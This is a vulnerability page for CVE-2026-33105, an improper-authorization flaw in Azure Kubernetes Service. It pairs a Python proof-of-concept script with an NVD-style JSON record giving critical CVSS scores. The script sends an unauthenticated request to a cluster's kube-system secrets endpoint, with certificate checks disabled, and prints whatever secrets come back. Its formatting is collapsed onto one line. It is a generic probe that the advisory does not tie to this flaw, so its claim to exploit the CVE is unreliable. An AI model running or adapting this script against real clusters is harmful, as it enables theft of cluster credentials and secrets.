CVE-2026-33105

import requests def exploit_aks_cve(target_ip): """ PoC for CVE-2026-33105 Demonstrates unauthorized privilege escalation via improper authorization. """ target_url = f"https://{target_ip}/api/v1/namespaces/kube-system/secrets" headers = { "Content-Type": "application/json" # Note: Authorization header is intentionally omitted } try: # Attempt to access sensitive resources without auth response = requests.get(target_url, headers=headers, verify=False) if response.status_code == 200: print("[+] Vulnerability Confirmed: Unauthorized access to secrets successful.") print(f"[+] Data: {response.text[:100]}...") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "<TARGET_AKS_API_ENDPOINT>" exploit_aks_cve(target)

{"cve": {"id": "CVE-2026-33105", "sourceIdentifier": "[email protected]", "published": "2026-04-03T00:16:05.040", "lastModified": "2026-04-06T13:48:48.337", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper authorization in Microsoft Azure Kubernetes Service allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_kubernetes_service:-:*:*:*:*:*:*:*", "matchCriteriaId": "934ECDD0-31D7-409A-A1BD-0743E24BFE8F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33105", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}